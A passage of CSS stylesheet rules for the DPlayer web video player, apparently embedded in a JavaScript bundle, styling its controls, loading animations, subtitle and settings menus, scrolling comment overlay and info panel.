margin: 0;\n padding: 0;\n}\n[data-balloon]:before {\n display: none;\n}\n[data-balloon]:after {\n padding: 0.3em 0.7em;\n background: rgba(17, 17, 17, 0.7);\n}\n[data-balloon][data-balloon-pos="up"]:after {\n margin-bottom: 0;\n}\n.dplayer-bezel {\n position: absolute;\n left: 0;\n right: 0;\n top: 0;\n bottom: 0;\n font-size: 22px;\n color: #fff;\n pointer-events: none;\n}\n.dplayer-bezel .dplayer-bezel-icon {\n position: absolute;\n top: 50%;\n left: 50%;\n margin: -26px 0 0 -26px;\n height: 52px;\n width: 52px;\n padding: 12px;\n box-sizing: border-box;\n background: rgba(0, 0, 0, 0.5);\n border-radius: 50%;\n opacity: 0;\n pointer-events: none;\n}\n.dplayer-bezel .dplayer-bezel-icon.dplayer-bezel-transition {\n -webkit-animation: bezel-hide 0.5s linear;\n animation: bezel-hide 0.5s linear;\n}\n@-webkit-keyframes bezel-hide {\n from {\n opacity: 1;\n transform: scale(1);\n }\n to {\n opacity: 0;\n transform: scale(2);\n }\n}\n@keyframes bezel-hide {\n from {\n opacity: 1;\n transform: scale(1);\n }\n to {\n opacity: 0;\n transform: scale(2);\n }\n}\n.dplayer-bezel .dplayer-danloading {\n position: absolute;\n top: 50%;\n margin-top: -7px;\n width: 100%;\n text-align: center;\n font-size: 14px;\n line-height: 14px;\n -webkit-animation: my-face 5s infinite ease-in-out;\n animation: my-face 5s infinite ease-in-out;\n}\n.dplayer-bezel .diplayer-loading-icon {\n display: none;\n position: absolute;\n top: 50%;\n left: 50%;\n margin: -18px 0 0 -18px;\n height: 36px;\n width: 36px;\n pointer-events: none;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-hide {\n display: none;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot {\n -webkit-animation: diplayer-loading-dot-fade 0.8s ease infinite;\n animation: diplayer-loading-dot-fade 0.8s ease infinite;\n opacity: 0;\n transform-origin: 4px 4px;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-1 {\n -webkit-animation-delay: 0.1s;\n animation-delay: 0.1s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-2 {\n -webkit-animation-delay: 0.2s;\n animation-delay: 0.2s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-3 {\n -webkit-animation-delay: 0.3s;\n animation-delay: 0.3s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-4 {\n -webkit-animation-delay: 0.4s;\n animation-delay: 0.4s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-5 {\n -webkit-animation-delay: 0.5s;\n animation-delay: 0.5s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-6 {\n -webkit-animation-delay: 0.6s;\n animation-delay: 0.6s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-7 {\n -webkit-animation-delay: 0.7s;\n animation-delay: 0.7s;\n}\n@-webkit-keyframes diplayer-loading-dot-fade {\n 0% {\n opacity: 0.7;\n transform: scale(1.2, 1.2);\n }\n 50% {\n opacity: 0.25;\n transform: scale(0.9, 0.9);\n }\n to {\n opacity: 0.25;\n transform: scale(0.85, 0.85);\n }\n}\n@keyframes diplayer-loading-dot-fade {\n 0% {\n opacity: 0.7;\n transform: scale(1.2, 1.2);\n }\n 50% {\n opacity: 0.25;\n transform: scale(0.9, 0.9);\n }\n to {\n opacity: 0.25;\n transform: scale(0.85, 0.85);\n }\n}\n.dplayer-controller-mask {\n background: url('+c+") repeat-x bottom;\n height: 98px;\n width: 100%;\n position: absolute;\n bottom: 0;\n transition: all 0.3s ease;\n}\n.dplayer-controller {\n position: absolute;\n bottom: 0;\n left: 0;\n right: 0;\n height: 41px;\n padding: 0 20px;\n -webkit-user-select: none;\n -moz-user-select: none;\n user-select: none;\n transition: all 0.3s ease;\n}\n.dplayer-controller.dplayer-controller-comment .dplayer-icons {\n display: none;\n}\n.dplayer-controller.dplayer-controller-comment .dplayer-icons.dplayer-comment-box {\n display: block;\n}\n.dplayer-controller .dplayer-bar-wrap {\n padding: 5px 0;\n cursor: pointer;\n position: absolute;\n bottom: 33px;\n width: calc(100% - 40px);\n height: 3px;\n}\n.dplayer-controller .dplayer-bar-wrap:hover .dplayer-bar .dplayer-played .dplayer-thumb {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-bar-wrap:hover .dplayer-highlight {\n display: block;\n width: 8px;\n transform: translateX(-4px);\n top: 4px;\n height: 40%;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight {\n z-index: 12;\n position: absolute;\n top: 5px;\n width: 6px;\n height: 20%;\n border-radius: 6px;\n background-color: #fff;\n text-align: center;\n transform: translateX(-3px);\n transition: all 0.2s ease-in-out;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight:hover .dplayer-highlight-text {\n display: block;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight:hover ~ .dplayer-bar-preview {\n opacity: 0;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight:hover ~ .dplayer-bar-time {\n opacity: 0;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight .dplayer-highlight-text {\n display: none;\n position: absolute;\n left: 50%;\n top: -24px;\n padding: 5px 8px;\n background-color: rgba(0, 0, 0, 0.62);\n color: #fff;\n border-radius: 4px;\n font-size: 12px;\n white-space: nowrap;\n transform: translateX(-50%);\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar-preview {\n position: absolute;\n background: #fff;\n pointer-events: none;\n display: none;\n background-size: 16000px 100%;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar-preview-canvas {\n position: absolute;\n width: 100%;\n height: 100%;\n z-index: 1;\n pointer-events: none;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar-time {\n position: absolute;\n left: 0px;\n top: -20px;\n border-radius: 4px;\n padding: 5px 7px;\n background-color: rgba(0, 0, 0, 0.62);\n color: #fff;\n font-size: 12px;\n text-align: center;\n opacity: 1;\n transition: opacity 0.1s ease-in-out;\n word-wrap: normal;\n word-break: normal;\n z-index: 2;\n pointer-events: none;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar-time.hidden {\n opacity: 0;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar {\n position: relative;\n height: 3px;\n width: 100%;\n background: rgba(255, 255, 255, 0.2);\n cursor: pointer;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar .dplayer-loaded {\n position: absolute;\n left: 0;\n top: 0;\n bottom: 0;\n background: rgba(255, 255, 255, 0.4);\n height: 3px;\n transition: all 0.5s ease;\n will-change: width;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar .dplayer-played {\n position: absolute;\n left: 0;\n top: 0;\n bottom: 0;\n height: 3px;\n will-change: width;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar .dplayer-played .dplayer-thumb {\n position: absolute;\n top: 0;\n right: 5px;\n margin-top: -4px;\n margin-right: -10px;\n height: 11px;\n width: 11px;\n border-radius: 50%;\n cursor: pointer;\n transition: all 0.3s ease-in-out;\n transform: scale(0);\n}\n.dplayer-controller .dplayer-icons {\n height: 38px;\n position: absolute;\n bottom: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box {\n display: none;\n position: absolute;\n transition: all 0.3s ease-in-out;\n z-index: 2;\n height: 38px;\n bottom: 0;\n left: 20px;\n right: 20px;\n color: #fff;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-icon {\n padding: 7px;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-icon {\n position: absolute;\n left: 0;\n top: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-send-icon {\n position: absolute;\n right: 0;\n top: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box {\n position: absolute;\n background: rgba(28, 28, 28, 0.9);\n bottom: 41px;\n left: 0;\n box-shadow: 0 0 25px rgba(0, 0, 0, 0.3);\n border-radius: 4px;\n padding: 10px 10px 16px;\n font-size: 14px;\n width: 204px;\n transition: all 0.3s ease-in-out;\n transform: scale(0);\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box.dplayer-comment-setting-open {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box input[type=radio] {\n display: none;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box label {\n cursor: pointer;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-title {\n font-size: 13px;\n color: #fff;\n line-height: 30px;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type {\n font-size: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type .dplayer-comment-setting-title {\n margin-bottom: 6px;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type label:nth-child(2) span {\n border-radius: 4px 0 0 4px;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type label:nth-child(4) span {\n border-radius: 0 4px 4px 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type span {\n width: 33%;\n padding: 4px 6px;\n line-height: 16px;\n display: inline-block;\n font-size: 12px;\n color: #fff;\n border: 1px solid #fff;\n margin-right: -1px;\n box-sizing: border-box;\n text-align: center;\n cursor: pointer;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type input:checked + span {\n background: #E4E4E6;\n color: #1c1c1c;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-color {\n font-size: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-color label {\n font-size: 0;\n padding: 6px;\n display: inline-block;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-color span {\n width: 22px;\n height: 22px;\n display: inline-block;\n border-radius: 50%;\n box-sizing: border-box;\n cursor: pointer;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-color span:hover {\n -webkit-animation: my-face 5s infinite ease-in-out;\n animation: my-face 5s infinite ease-in-out;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-input {\n outline: none;\n border: none;\n padding: 8px 31px;\n font-size: 14px;\n line-height: 18px;\n text-align: center;\n border-radius: 4px;\n background: none;\n margin: 0;\n height: 100%;\n box-sizing: border-box;\n width: 100%;\n color: #fff;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-input::-moz-placeholder {\n color: #fff;\n opacity: 0.8;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-input::placeholder {\n color: #fff;\n opacity: 0.8;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-input::-ms-clear {\n display: none;\n}\n.dplayer-controller .dplayer-icons.dplayer-icons-left .dplayer-icon {\n padding: 7px;\n}\n.dplayer-controller .dplayer-icons.dplayer-icons-right {\n right: 20px;\n}\n.dplayer-controller .dplayer-icons.dplayer-icons-right .dplayer-icon {\n padding: 8px;\n}\n.dplayer-controller .dplayer-icons .dplayer-time,\n.dplayer-controller .dplayer-icons .dplayer-live-badge {\n line-height: 38px;\n color: #eee;\n text-shadow: 0 0 2px rgba(0, 0, 0, 0.5);\n vertical-align: middle;\n font-size: 13px;\n cursor: default;\n}\n.dplayer-controller .dplayer-icons .dplayer-live-dot {\n display: inline-block;\n width: 6px;\n height: 6px;\n vertical-align: 4%;\n margin-right: 5px;\n content: '';\n border-radius: 6px;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon {\n width: 40px;\n height: 100%;\n border: none;\n background-color: transparent;\n outline: none;\n cursor: pointer;\n vertical-align: middle;\n box-sizing: border-box;\n display: inline-block;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon .dplayer-icon-content {\n transition: all 0.2s ease-in-out;\n opacity: 0.8;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon:hover .dplayer-icon-content {\n opacity: 1;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon.dplayer-quality-icon {\n color: #fff;\n width: auto;\n line-height: 22px;\n font-size: 14px;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon.dplayer-comment-icon {\n padding: 10px 9px 9px;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon.dplayer-setting-icon {\n padding-top: 8.5px;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon.dplayer-volume-icon {\n width: 43px;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume {\n position: relative;\n display: inline-block;\n cursor: pointer;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume:hover .dplayer-volume-bar-wrap .dplayer-volume-bar {\n width: 45px;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume:hover .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner .dplayer-thumb {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons .dplayer-volume.dplayer-volume-active .dplayer-volume-bar-wrap .dplayer-volume-bar {\n width: 45px;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume.dplayer-volume-active .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner .dplayer-thumb {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons .dplayer-volume .dplayer-volume-bar-wrap {\n display: inline-block;\n margin: 0 10px 0 -5px;\n vertical-align: middle;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume .dplayer-volume-bar-wrap .dplayer-volume-bar {\n position: relative;\n top: 17px;\n width: 0;\n height: 3px;\n background: #aaa;\n transition: all 0.3s ease-in-out;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner {\n position: absolute;\n bottom: 0;\n left: 0;\n height: 100%;\n transition: all 0.1s ease;\n will-change: width;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner .dplayer-thumb {\n position: absolute;\n top: 0;\n right: 5px;\n margin-top: -4px;\n margin-right: -10px;\n height: 11px;\n width: 11px;\n border-radius: 50%;\n cursor: pointer;\n transition: all 0.3s ease-in-out;\n transform: scale(0);\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitle-btn {\n display: inline-block;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles {\n display: inline-block;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-box {\n position: absolute;\n right: 0;\n bottom: 50px;\n transform: scale(0);\n width: -webkit-fit-content;\n width: -moz-fit-content;\n width: fit-content;\n max-width: 240px;\n min-width: 120px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n padding: 7px 0;\n transition: all 0.3s ease-in-out;\n overflow: auto;\n z-index: 2;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-box.dplayer-subtitles-panel {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-box.dplayer-subtitles-box-open {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-item {\n height: 30px;\n padding: 5px 10px;\n box-sizing: border-box;\n cursor: pointer;\n position: relative;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-item:hover {\n background-color: rgba(255, 255, 255, 0.1);\n}\n.dplayer-controller .dplayer-icons .dplayer-setting {\n display: inline-block;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box {\n position: absolute;\n right: 0;\n bottom: 50px;\n transform: scale(0);\n width: 150px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n padding: 7px 0;\n transition: all 0.3s ease-in-out;\n overflow: hidden;\n z-index: 2;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box > div {\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box > div.dplayer-setting-origin-panel {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box.dplayer-setting-box-open {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box.dplayer-setting-box-narrow {\n width: 70px;\n text-align: center;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box.dplayer-setting-box-speed .dplayer-setting-origin-panel {\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box.dplayer-setting-box-speed .dplayer-setting-speed-panel {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-item,\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-speed-item {\n height: 30px;\n padding: 5px 10px;\n box-sizing: border-box;\n cursor: pointer;\n position: relative;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-item:hover,\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-speed-item:hover {\n background-color: rgba(255, 255, 255, 0.1);\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku {\n padding: 5px 0;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-label {\n padding: 0 10px;\n display: inline;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku:hover .dplayer-label {\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku:hover .dplayer-danmaku-bar-wrap {\n display: inline-block;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku.dplayer-setting-danmaku-active .dplayer-label {\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku.dplayer-setting-danmaku-active .dplayer-danmaku-bar-wrap {\n display: inline-block;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-danmaku-bar-wrap {\n padding: 0 10px;\n box-sizing: border-box;\n display: none;\n vertical-align: middle;\n height: 100%;\n width: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-danmaku-bar-wrap .dplayer-danmaku-bar {\n position: relative;\n top: 8.5px;\n width: 100%;\n height: 3px;\n background: #fff;\n transition: all 0.3s ease-in-out;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-danmaku-bar-wrap .dplayer-danmaku-bar .dplayer-danmaku-bar-inner {\n position: absolute;\n bottom: 0;\n left: 0;\n height: 100%;\n transition: all 0.1s ease;\n background: #aaa;\n will-change: width;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-danmaku-bar-wrap .dplayer-danmaku-bar .dplayer-danmaku-bar-inner .dplayer-thumb {\n position: absolute;\n top: 0;\n right: 5px;\n margin-top: -4px;\n margin-right: -10px;\n height: 11px;\n width: 11px;\n border-radius: 50%;\n cursor: pointer;\n transition: all 0.3s ease-in-out;\n background: #aaa;\n}\n.dplayer-controller .dplayer-icons .dplayer-full {\n display: inline-block;\n height: 100%;\n position: relative;\n}\n.dplayer-controller .dplayer-icons .dplayer-full:hover .dplayer-full-in-icon {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-full .dplayer-full-in-icon {\n position: absolute;\n top: -30px;\n z-index: 1;\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality {\n position: relative;\n display: inline-block;\n height: 100%;\n z-index: 2;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality:hover .dplayer-quality-list {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality:hover .dplayer-quality-mask {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality .dplayer-quality-mask {\n display: none;\n position: absolute;\n bottom: 38px;\n left: -18px;\n width: 80px;\n padding-bottom: 12px;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality .dplayer-quality-list {\n display: none;\n font-size: 12px;\n width: 80px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n padding: 5px 0;\n transition: all 0.3s ease-in-out;\n overflow: hidden;\n color: #fff;\n text-align: center;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality .dplayer-quality-item {\n height: 25px;\n box-sizing: border-box;\n cursor: pointer;\n line-height: 25px;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality .dplayer-quality-item:hover {\n background-color: rgba(255, 255, 255, 0.1);\n}\n.dplayer-controller .dplayer-icons .dplayer-comment {\n display: inline-block;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-label {\n color: #eee;\n font-size: 13px;\n display: inline-block;\n vertical-align: middle;\n white-space: nowrap;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle {\n width: 32px;\n height: 20px;\n text-align: center;\n font-size: 0;\n vertical-align: middle;\n position: absolute;\n top: 5px;\n right: 10px;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input {\n max-height: 0;\n max-width: 0;\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input + label {\n display: inline-block;\n position: relative;\n box-shadow: #dfdfdf 0 0 0 0 inset;\n border: 1px solid #dfdfdf;\n height: 20px;\n width: 32px;\n border-radius: 10px;\n box-sizing: border-box;\n cursor: pointer;\n transition: 0.2s ease-in-out;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input + label:before {\n content: \"\";\n position: absolute;\n display: block;\n height: 18px;\n width: 18px;\n top: 0;\n left: 0;\n border-radius: 15px;\n transition: 0.2s ease-in-out;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input + label:after {\n content: \"\";\n position: absolute;\n display: block;\n left: 0;\n top: 0;\n border-radius: 15px;\n background: #fff;\n transition: 0.2s ease-in-out;\n box-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);\n height: 18px;\n width: 18px;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input:checked + label {\n border-color: rgba(255, 255, 255, 0.5);\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input:checked + label:before {\n width: 30px;\n background: rgba(255, 255, 255, 0.5);\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input:checked + label:after {\n left: 12px;\n}\n.dplayer-mobile-play {\n display: none;\n width: 50px;\n height: 50px;\n border: none;\n background-color: transparent;\n outline: none;\n cursor: pointer;\n box-sizing: border-box;\n bottom: 0;\n opacity: 0.8;\n position: absolute;\n left: 50%;\n top: 50%;\n transform: translate(-50%, -50%);\n}\n.dplayer-danmaku {\n position: absolute;\n left: 0;\n right: 0;\n top: 0;\n bottom: 0;\n font-size: 22px;\n color: #fff;\n}\n.dplayer-danmaku .dplayer-danmaku-item {\n display: inline-block;\n pointer-events: none;\n -webkit-user-select: none;\n -moz-user-select: none;\n user-select: none;\n cursor: default;\n white-space: nowrap;\n text-shadow: 0.5px 0.5px 0.5px rgba(0, 0, 0, 0.5);\n}\n.dplayer-danmaku .dplayer-danmaku-item--demo {\n position: absolute;\n visibility: hidden;\n}\n.dplayer-danmaku .dplayer-danmaku-right {\n position: absolute;\n right: 0;\n transform: translateX(100%);\n}\n.dplayer-danmaku .dplayer-danmaku-right.dplayer-danmaku-move {\n will-change: transform;\n -webkit-animation-name: 'danmaku';\n animation-name: 'danmaku';\n -webkit-animation-timing-function: linear;\n animation-timing-function: linear;\n -webkit-animation-play-state: paused;\n animation-play-state: paused;\n}\n@-webkit-keyframes danmaku {\n from {\n transform: translateX(100%);\n }\n}\n@keyframes danmaku {\n from {\n transform: translateX(100%);\n }\n}\n.dplayer-danmaku .dplayer-danmaku-top,\n.dplayer-danmaku .dplayer-danmaku-bottom {\n position: absolute;\n width: 100%;\n text-align: center;\n visibility: hidden;\n}\n.dplayer-danmaku .dplayer-danmaku-top.dplayer-danmaku-move,\n.dplayer-danmaku .dplayer-danmaku-bottom.dplayer-danmaku-move {\n will-change: visibility;\n -webkit-animation-name: 'danmaku-center';\n animation-name: 'danmaku-center';\n -webkit-animation-timing-function: linear;\n animation-timing-function: linear;\n -webkit-animation-play-state: paused;\n animation-play-state: paused;\n}\n@-webkit-keyframes danmaku-center {\n from {\n visibility: visible;\n }\n to {\n visibility: visible;\n }\n}\n@keyframes danmaku-center {\n from {\n visibility: visible;\n }\n to {\n visibility: visible;\n }\n}\n.dplayer-logo {\n pointer-events: none;\n position: absolute;\n left: 20px;\n top: 20px;\n max-width: 50px;\n max-height: 50px;\n}\n.dplayer-logo img {\n max-width: 100%;\n max-height: 100%;\n background: none;\n}\n.dplayer-menu {\n position: absolute;\n width: 170px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.85);\n padding: 5px 0;\n overflow: hidden;\n z-index: 3;\n display: none;\n}\n.dplayer-menu.dplayer-menu-show {\n display: block;\n}\n.dplayer-menu .dplayer-menu-item {\n height: 30px;\n box-sizing: border-box;\n cursor: pointer;\n}\n.dplayer-menu .dplayer-menu-item:hover {\n background-color: rgba(255, 255, 255, 0.1);\n}\n.dplayer-menu .dplayer-menu-item a {\n padding: 0 10px;\n line-height: 30px;\n color: #eee;\n font-size: 13px;\n display: inline-block;\n vertical-align: middle;\n width: 100%;\n box-sizing: border-box;\n white-space: nowrap;\n text-overflow: ellipsis;\n overflow: hidden;\n}\n.dplayer-menu .dplayer-menu-item a:hover {\n text-decoration: none;\n}\n.dplayer-notice-list {\n position: absolute;\n bottom: 60px;\n left: 20px;\n}\n.dplayer-notice-list .dplayer-notice {\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n transition: all 0.3s ease-in-out;\n overflow: hidden;\n color: #fff;\n display: table;\n pointer-events: none;\n -webkit-animation: showNotice 0.3s ease 1 forwards;\n animation: showNotice 0.3s ease 1 forwards;\n}\n.dplayer-notice-list .remove-notice {\n -webkit-animation: removeNotice 0.3s ease 1 forwards;\n animation: removeNotice 0.3s ease 1 forwards;\n}\n@-webkit-keyframes showNotice {\n from {\n padding: 0;\n font-size: 0;\n margin-top: 0;\n }\n to {\n padding: 7px 20px;\n font-size: 14px;\n margin-top: 5px;\n }\n}\n@keyframes showNotice {\n from {\n padding: 0;\n font-size: 0;\n margin-top: 0;\n }\n to {\n padding: 7px 20px;\n font-size: 14px;\n margin-top: 5px;\n }\n}\n@-webkit-keyframes removeNotice {\n 0% {\n padding: 7px 20px;\n font-size: 14px;\n margin-top: 5px;\n }\n 20% {\n font-size: 12px;\n }\n 21% {\n font-size: 0;\n padding: 7px 10px;\n }\n 100% {\n padding: 0;\n margin-top: 0;\n font-size: 0;\n }\n}\n@keyframes removeNotice {\n 0% {\n padding: 7px 20px;\n font-size: 14px;\n margin-top: 5px;\n }\n 20% {\n font-size: 12px;\n }\n 21% {\n font-size: 0;\n padding: 7px 10px;\n }\n 100% {\n padding: 0;\n margin-top: 0;\n font-size: 0;\n }\n}\n.dplayer-subtitle {\n position: absolute;\n bottom: 40px;\n width: 90%;\n left: 5%;\n text-align: center;\n color: #fff;\n text-shadow: 0.5px 0.5px 0.5px rgba(0, 0, 0, 0.5);\n font-size: 20px;\n}\n.dplayer-subtitle.dplayer-subtitle-hide {\n display: none;\n}\n.dplayer-mask {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n right: 0;\n z-index: 1;\n display: none;\n}\n.dplayer-mask.dplayer-mask-show {\n display: block;\n}\n.dplayer-video-wrap {\n position: relative;\n background: #000;\n font-size: 0;\n width: 100%;\n height: 100%;\n}\n.dplayer-video-wrap .dplayer-video {\n width: 100%;\n height: 100%;\n display: none;\n}\n.dplayer-video-wrap .dplayer-video-current {\n display: block;\n}\n.dplayer-video-wrap .dplayer-video-prepare {\n display: none;\n}\n.dplayer-info-panel {\n position: absolute;\n top: 10px;\n left: 10px;\n width: 400px;\n background: rgba(28, 28, 28, 0.8);\n padding: 10px;\n color: #fff;\n font-size: 12px;\n border-radius: 2px;\n}\n.dplayer-info-panel-hide {\n display: none;\n}\n.dplayer-info-panel .dplayer-info-panel-close {\n cursor: pointer;\n position: absolute;\n right: 10px;\n top: 10px;\n}\n.dplayer-info-panel .dplayer-info-panel-item > span {\n display: inline-block;\n vertical-align: middle;\n line-height: 15px;\n white-space: nowrap;\n text-overflow: ellipsis;\n overflow: hidden;\n}\n.dplayer-info-panel .dplayer-info-panel-item-title {\n width: 100px;\n text-align: right;\n margin-right: 10px;\n}\n.dplayer-info-panel .dplayer-info-panel-item-data {\n width: 